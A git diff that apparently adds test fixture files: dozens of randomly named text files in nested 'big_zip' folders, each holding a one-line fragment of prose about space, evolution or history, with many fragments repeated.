diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_ncixfajbbmzafvdvu.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_ncixfajbbmzafvdvu.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_ncixfajbbmzafvdvu.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_qcgspsuthsfl.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_qcgspsuthsfl.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_qcgspsuthsfl.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_qzcnfhsnwaiomv.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_qzcnfhsnwaiomv.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_qzcnfhsnwaiomv.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_rwtqigtjjn.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_rwtqigtjjn.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_rwtqigtjjn.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_ryrdlcorn.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_ryrdlcorn.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_ryrdlcorn.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_svryrankhagjnhgpnlq.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_svryrankhagjnhgpnlq.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_svryrankhagjnhgpnlq.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_vdlxsrwewylfloiopbh.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_vdlxsrwewylfloiopbh.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_vdlxsrwewylfloiopbh.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_webppwcdypxvepefu.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_webppwcdypxvepefu.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_webppwcdypxvepefu.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_xkqngkmrqsview.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_xkqngkmrqsview.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_xkqngkmrqsview.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_xzaexcppsdlvh.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_xzaexcppsdlvh.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_xzaexcppsdlvh.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_zitojgemcvonifqdbzgbc.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_zitojgemcvonifqdbzgbc.txt
new file mode 100644
index 0000000..b20282f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/file_zitojgemcvonifqdbzgbc.txt
@@ -0,0 +1 @@
+The Voyager 2 spacecraft will never return to Earth. But its scientific findings, its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/bfixkjtpkvk.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/bfixkjtpkvk.txt
new file mode 100644
index 0000000..b8dd8e8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/bfixkjtpkvk.txt
@@ -0,0 +1 @@
+Sun. Most have companions. Systems are commonly double, two stars orbiting one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/clfrjdwolaftmoxxwkghcwqn.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/clfrjdwolaftmoxxwkghcwqn.txt
new file mode 100644
index 0000000..5ea21fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/clfrjdwolaftmoxxwkghcwqn.txt
@@ -0,0 +1 @@
+How vast those Orbs must be, and how inconsiderable this Earth, the Theatre upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/cmaweadjxesxxssgespnp.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/cmaweadjxesxxssgespnp.txt
new file mode 100644
index 0000000..2f3c870
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/cmaweadjxesxxssgespnp.txt
@@ -0,0 +1 @@
+The known is finite, the unknown infinite; intellectually we stand on an islet in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/ddspgynyolkcsttbaprmzloj.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/ddspgynyolkcsttbaprmzloj.txt
new file mode 100644
index 0000000..e3ec666
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/ddspgynyolkcsttbaprmzloj.txt
@@ -0,0 +1 @@
+our individual embryonic development we retrace the evolutionary history of the species.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/dkpzbwnmnedqngazanls.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/dkpzbwnmnedqngazanls.txt
new file mode 100644
index 0000000..3421fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/dkpzbwnmnedqngazanls.txt
@@ -0,0 +1 @@
+bronzes, cast in the eleventh century, include several different incarnations of the god
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/dsaqcukxeedq.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/dsaqcukxeedq.txt
new file mode 100644
index 0000000..62622b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/dsaqcukxeedq.txt
@@ -0,0 +1 @@
+fragments spontaneously recombining into more and more complex molecules. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/fcbewugeqnfgximmebbjg.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/fcbewugeqnfgximmebbjg.txt
new file mode 100644
index 0000000..eac2c01
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/fcbewugeqnfgximmebbjg.txt
@@ -0,0 +1 @@
+us to distinguish fancy from fact, to test our speculations. The Cosmos is rich beyond
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_cwbuhoxaxd.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_cwbuhoxaxd.txt
new file mode 100644
index 0000000..dec371e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_cwbuhoxaxd.txt
@@ -0,0 +1 @@
+* The exclamation point is a click, made by touching the tongue against the inside of the incisors,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_ehnsdffp.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_ehnsdffp.txt
new file mode 100644
index 0000000..dec371e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_ehnsdffp.txt
@@ -0,0 +1 @@
+* The exclamation point is a click, made by touching the tongue against the inside of the incisors,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_gqpqlppmxarnvhrhofunuq.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_gqpqlppmxarnvhrhofunuq.txt
new file mode 100644
index 0000000..dec371e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_gqpqlppmxarnvhrhofunuq.txt
@@ -0,0 +1 @@
+* The exclamation point is a click, made by touching the tongue against the inside of the incisors,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_hoqhbuhyjea.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_hoqhbuhyjea.txt
new file mode 100644
index 0000000..dec371e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_hoqhbuhyjea.txt
@@ -0,0 +1 @@
+* The exclamation point is a click, made by touching the tongue against the inside of the incisors,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_narrastnkjtjwgz.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_narrastnkjtjwgz.txt
new file mode 100644
index 0000000..dec371e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_narrastnkjtjwgz.txt
@@ -0,0 +1 @@
+* The exclamation point is a click, made by touching the tongue against the inside of the incisors,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_nthwtkjnpnlgelicpmojn.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_nthwtkjnpnlgelicpmojn.txt
new file mode 100644
index 0000000..dec371e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_nthwtkjnpnlgelicpmojn.txt
@@ -0,0 +1 @@
+* The exclamation point is a click, made by touching the tongue against the inside of the incisors,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_pfkwddsernvkijg.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_pfkwddsernvkijg.txt
new file mode 100644
index 0000000..dec371e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_pfkwddsernvkijg.txt
@@ -0,0 +1 @@
+* The exclamation point is a click, made by touching the tongue against the inside of the incisors,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_ppayxxkbhtll.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_ppayxxkbhtll.txt
new file mode 100644
index 0000000..dec371e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_ppayxxkbhtll.txt
@@ -0,0 +1 @@
+* The exclamation point is a click, made by touching the tongue against the inside of the incisors,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_qowhagkmadnqkokwm.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_qowhagkmadnqkokwm.txt
new file mode 100644
index 0000000..dec371e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_qowhagkmadnqkokwm.txt
@@ -0,0 +1 @@
+* The exclamation point is a click, made by touching the tongue against the inside of the incisors,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_szcceqvptvqi.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_szcceqvptvqi.txt
new file mode 100644
index 0000000..dec371e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_szcceqvptvqi.txt
@@ -0,0 +1 @@
+* The exclamation point is a click, made by touching the tongue against the inside of the incisors,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_uebxqmvmiiphgnad.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_uebxqmvmiiphgnad.txt
new file mode 100644
index 0000000..dec371e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_uebxqmvmiiphgnad.txt
@@ -0,0 +1 @@
+* The exclamation point is a click, made by touching the tongue against the inside of the incisors,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_ujwthgqidcdfzhwsknadjyfr.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_ujwthgqidcdfzhwsknadjyfr.txt
new file mode 100644
index 0000000..dec371e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_ujwthgqidcdfzhwsknadjyfr.txt
@@ -0,0 +1 @@
+* The exclamation point is a click, made by touching the tongue against the inside of the incisors,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_wfvdcqszybfyz.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_wfvdcqszybfyz.txt
new file mode 100644
index 0000000..dec371e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_wfvdcqszybfyz.txt
@@ -0,0 +1 @@
+* The exclamation point is a click, made by touching the tongue against the inside of the incisors,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_wvpbzcqidabzghuksnnb.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_wvpbzcqidabzghuksnnb.txt
new file mode 100644
index 0000000..dec371e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_wvpbzcqidabzghuksnnb.txt
@@ -0,0 +1 @@
+* The exclamation point is a click, made by touching the tongue against the inside of the incisors,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_xxsqvdbyjtywasohu.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_xxsqvdbyjtywasohu.txt
new file mode 100644
index 0000000..dec371e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_xxsqvdbyjtywasohu.txt
@@ -0,0 +1 @@
+* The exclamation point is a click, made by touching the tongue against the inside of the incisors,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_zxzujalxteewvagvfu.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_zxzujalxteewvagvfu.txt
new file mode 100644
index 0000000..dec371e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/file_zxzujalxteewvagvfu.txt
@@ -0,0 +1 @@
+* The exclamation point is a click, made by touching the tongue against the inside of the incisors,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/fjasmtqklbyuq.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/fjasmtqklbyuq.txt
new file mode 100644
index 0000000..4d94bc8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/fjasmtqklbyuq.txt
@@ -0,0 +1 @@
+running away from him. There are no privileged reference frames.* The farther away the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/llemuqhrpiqpbvbywve.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/llemuqhrpiqpbvbywve.txt
new file mode 100644
index 0000000..8d28e97
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/llemuqhrpiqpbvbywve.txt
@@ -0,0 +1 @@
+The carpenters, after the first and second crashes, had crossed themselves in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/mhorgferdcuof.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/mhorgferdcuof.txt
new file mode 100644
index 0000000..5a7e138
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/mhorgferdcuof.txt
@@ -0,0 +1 @@
+chiefly by Japan, Norway and the Soviet Union. We humans, as a species, are interested in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/mxuqactcf.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/mxuqactcf.txt
new file mode 100644
index 0000000..aa6bf17
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/mxuqactcf.txt
@@ -0,0 +1 @@
+exploration and colonization would take off toward stars where no one had yet been. And
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/pnryhpjtvcupnethb.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/pnryhpjtvcupnethb.txt
new file mode 100644
index 0000000..f6e0da3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/pnryhpjtvcupnethb.txt
@@ -0,0 +1 @@
+certain times in the growing and shrinking of the Moon. Some tribes scratch the days of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/poyjugasijf.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/poyjugasijf.txt
new file mode 100644
index 0000000..725ad2b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/poyjugasijf.txt
@@ -0,0 +1 @@
+What wilt thou give me for my drink?’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/riroesswjo.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/riroesswjo.txt
new file mode 100644
index 0000000..f565c9e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/riroesswjo.txt
@@ -0,0 +1 @@
+must have exercised zero population growth or something very close to it for many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/rqopmtmtcdualnjhntux.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/rqopmtmtcdualnjhntux.txt
new file mode 100644
index 0000000..bd20276
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/rqopmtmtcdualnjhntux.txt
@@ -0,0 +1 @@
+amiability.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/rtbymgypposhjozcicrawmeb.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/rtbymgypposhjozcicrawmeb.txt
new file mode 100644
index 0000000..3ccc849
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/rtbymgypposhjozcicrawmeb.txt
@@ -0,0 +1 @@
+thing Muller had said could never happen, should take place in his own laboratory. It was
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/swdzlhdynmkqlsu.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/swdzlhdynmkqlsu.txt
new file mode 100644
index 0000000..6a92512
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/swdzlhdynmkqlsu.txt
@@ -0,0 +1 @@
+arboreal primates must have vanished with the forests. A few eked out a precarious
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/uyivfeojnwsfeqiurcwqlu.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/uyivfeojnwsfeqiurcwqlu.txt
new file mode 100644
index 0000000..4b2be7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/uyivfeojnwsfeqiurcwqlu.txt
@@ -0,0 +1 @@
+with tears, the child sovereign put his beautiful, small hands together. He turned
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/vufmbzqegnvplnsedjhbur.txt b/big_zip/big-zip-files/folder_gmxxziwjqx/folder_ibvbeexxxh/folder_zyjwkxscnx/folder_hhbjhwpdol/vufmbzqegnvplnsedjhbur.txt
new file mode 100644
index 0000000..ec890a2
--- /dev/null
